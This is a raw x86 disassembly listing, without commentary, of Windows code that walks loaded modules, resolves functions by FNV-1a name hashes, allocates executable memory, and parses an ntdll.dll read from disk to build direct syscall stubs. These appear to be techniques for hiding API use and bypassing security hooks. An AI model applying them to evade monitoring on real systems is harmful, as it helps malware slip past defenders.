mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0xd5b]
push eax
lea ecx, [ebp - 0xd42]
mov dword [0x102b2e2c], 0
push ecx
lea edx, [ebp - 0xd48]
mov dword [ebp - 0xd48], 0x25ff
xorps xmm0, xmm0
mov word [ebp - 0xd44], 0
push edx
mov ecx, 0x102b2e24
movq qword [0x102b2e24], xmm0
call fcn.10150a40
push 0x101c1270
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x2b
mov ecx, dword [0x102b2e20]
mov eax, dword [0x102b2e0c]
test cl, 2
jne 0x1014d940
or ecx, 2
mov dword [0x102b2e20], ecx
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0xd59]
push eax
lea ecx, [ebp - 0xd49]
mov dword [0x102b2df8], 0
push ecx
lea edx, [ebp - 0xd58]
mov dword [ebp - 0xd58], 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0xd54], 0xba00
push edx
mov ecx, 0x102b2df0
movq qword [0x102b2df0], xmm0
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1260
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x2b
mov eax, dword [0x102b2e0c]
mov ecx, dword [0x102b1f08]
test ecx, ecx
jne 0x1014e000
mov eax, dword [0x102b2e28]
sub eax, dword [0x102b2e24]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2e30]
test eax, eax
jne 0x1014db48
push eax
push 8
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014da5f
lea eax, [ebp - 0x6b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014da5f
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0xd7c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd84]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014da79
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014d9b0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014daaa
xor eax, eax
jmp 0x1014db43
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x2b
jmp 0x1014da68
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014dabd
xor eax, eax
jmp 0x1014db43
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014db21
nop word [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1014db1b
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014daf0
jmp 0x1014db21
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014db30
xor eax, eax
jmp 0x1014db43
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b1f0c
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2e28]
mov ecx, dword [0x102b2e24]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1014dd8f
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014dca0
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014dca0
nop dword [eax]
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd98]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1014dcba
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014dbf0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014dceb
xor eax, eax
jmp 0x1014dd84
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x2b
jmp 0x1014dca9
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014dcfe
xor eax, eax
jmp 0x1014dd84
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014dd62
nop word [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1014dd5c
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014dd30
jmp 0x1014dd62
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014dd71
xor eax, eax
jmp 0x1014dd84
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2e24]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2e24]
push dword [0x102b1f0c]
call fcn.10171890
mov eax, dword [0x102b2df4]
add esp, 0xc
sub eax, dword [0x102b2df0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2e30]
mov dword [ebp - 0x44c], 0
test eax, eax
jne 0x1014dfa8
push eax
push 8
mov dword [ebp - 0xb00], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014dec4
lea eax, [ebp - 0xb00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014dec4
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0xd68]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xda8]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014dede
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014de15
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014df0f
xor eax, eax
jmp 0x1014dfa3
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x2b
jmp 0x1014decd
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014df22
xor eax, eax
jmp 0x1014dfa3
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014df81
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1014df7b
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014df50
jmp 0x1014df81
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014df90
xor eax, eax
jmp 0x1014dfa3
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x44c]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2df4]
mov ecx, dword [0x102b2df0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f0c]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2df0]
push dword [ebp - 0x44c]
call fcn.10171890
mov ecx, dword [ebp - 0x44c]
add esp, 0xc
mov eax, dword [0x102b2e0c]
mov dword [0x102b1f08], ecx
mov dword [0x102b2e38], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x1014e015
mov ecx, dword [0x102b2e38]
test al, 2
jne 0x1014e629
or eax, 2
mov dword [0x102b2e0c], eax
mov dword [ebp - 4], 0x43
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd34], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd5a]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x43
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd78], eax
mov byte [ebp - 4], 0x43
test esi, esi
jne 0x1014e604
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1014e5ae
mov eax, dword [ebp - 0x30]
mov ecx, 0x5a4d
mov dword [ebp - 0xd38], eax
cmp word [eax], cx
je 0x1014e2aa
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014e5ba
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0xd40], esi
cmp dword [esi], 0x4550
je 0x1014e2d8
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014e5ba
mov edi, dword [esi + 0x78]
test edi, edi
je 0x1014e326
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014e31c
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014e30e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014e316
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014e2f8
mov esi, dword [ebp - 0xd40]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014e328
mov eax, edi
mov ecx, dword [ebp - 0xd38]
add eax, ecx
mov dword [ebp - 0xd3c], eax
mov edi, dword [eax + 0x20]
test edi, edi
je 0x1014e384
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014e374
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014e36c
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014e374
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014e356
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1014e386
mov eax, edi
add eax, ecx
mov dword [ebp - 0x448], 0xffffffff
mov ecx, dword [ebp - 0xd3c]
xor esi, esi
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0xd28], esi
cmp dword [ecx + 0x14], esi
jbe 0x1014e443
nop
mov edi, dword [eax + esi*4]
test edi, edi
je 0x1014e404
mov edx, dword [ebp - 0xd40]
xor esi, esi
movzx eax, word [edx + 0x14]
lea ecx, [edx + 0x18]
add ecx, eax
movzx eax, word [edx + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014e3f4
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x1014e3ec
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x1014e3f4
mov eax, dword [ebp - 0xd30]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x1014e3d6
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov esi, dword [ebp - 0xd28]
add eax, edi
jmp 0x1014e406
xor eax, eax
mov ecx, dword [ebp - 0xd38]
mov edx, 0x811c9dc5
add ecx, eax
call fcn.100644d0
cmp eax, 0x65ecaf30
je 0x1014e43d
mov eax, dword [ebp - 0xd3c]
inc esi
mov dword [ebp - 0xd28], esi
cmp esi, dword [eax + 0x14]
mov eax, dword [ebp - 0xd2c]
jb 0x1014e3b0
jmp 0x1014e443
mov dword [ebp - 0x448], esi
mov eax, dword [ebp - 0xd3c]
mov ecx, dword [ebp - 0x448]
cmp ecx, dword [eax + 0x14]
jbe 0x1014e46f
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014e5ba
mov edi, dword [eax + 0x24]
test edi, edi
je 0x1014e4bd
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014e4b3
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014e4ab
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014e4b3
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014e495
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014e4bf
mov eax, edi
mov ecx, dword [ebp - 0xd38]
add eax, ecx
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd3c]
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x1014e52e
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014e51e
nop dword [eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014e516
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014e51e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014e500
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1014e530
mov eax, edi
mov edx, dword [ebp - 0x448]
add ecx, eax
mov eax, dword [ebp - 0xd2c]
movzx eax, word [eax + edx*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x1014e590
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014e586
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014e57e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014e586
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014e568
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014e592
mov eax, edi
add eax, dword [ebp - 0xd38]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014e5ba
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x43
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x1014e610
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov dword [0x102b2e14], esi
mov dword [0x102b2e18], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2e38]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd60], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1014e883
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0xd24], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014e791
lea eax, [ebp - 0xd24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014e791
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov dword [ebp - 4], 0x4f
lea eax, [ebp - 0xd70]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd78]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0xd3c]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd38]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1014e7ab
mov dword [ebp - 4], 0x53
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0x448], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014e6c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014e7eb
xor eax, eax
jmp 0x1014e878
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xd08]
mov dword [ebp - 4], 0x50
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd30], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x1014e79a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014e7fb
xor eax, eax
jmp 0x1014e878
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014e856
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1014e850
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014e824
jmp 0x1014e856
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014e865
xor eax, eax
jmp 0x1014e878
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2e38]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd60], eax
je 0x1014e88f
xor ecx, ecx
jmp 0x1014e8a1
mov eax, dword [0x102b2e14]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2e18]
mov dword [ecx + 0xd], eax
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x450]
call ecx
mov eax, dword [0x102b2e34]
mov dword [ebp - 0x394], 0x1014c0d0
test al, 1
jne 0x1014f092
or eax, 1
mov dword [0x102b2e34], eax
mov dword [ebp - 4], 0x56
mov ecx, dword [0x102b2e20]
test cl, 1
jne 0x1014e951
or ecx, 1
mov dword [0x102b2e20], ecx
mov byte [ebp - 4], 0x57
lea eax, [ebp - 0xd5b]
push eax
lea ecx, [ebp - 0xd42]
mov dword [0x102b2e2c], 0
push ecx
lea edx, [ebp - 0xd48]
mov dword [ebp - 0xd48], 0x25ff
xorps xmm0, xmm0
mov word [ebp - 0xd44], 0
push edx
mov ecx, 0x102b2e24
movq qword [0x102b2e24], xmm0
call fcn.10150a40
push 0x101c1270
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x56
mov ecx, dword [0x102b2e20]
mov eax, dword [0x102b2e34]
test cl, 2
jne 0x1014e9df
or ecx, 2
mov dword [0x102b2e20], ecx
mov byte [ebp - 4], 0x58
lea eax, [ebp - 0xd59]
push eax
lea ecx, [ebp - 0xd49]
mov dword [0x102b2df8], 0
push ecx
lea edx, [ebp - 0xd58]
mov dword [ebp - 0xd58], 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0xd54], 0xba00
push edx
mov ecx, 0x102b2df0
movq qword [0x102b2df0], xmm0
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1260
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x56
mov eax, dword [0x102b2e34]
mov ecx, dword [0x102b1f08]
test ecx, ecx
jne 0x1014f083
mov eax, dword [0x102b2e28]
sub eax, dword [0x102b2e24]
mov dword [ebp - 0x14], eax
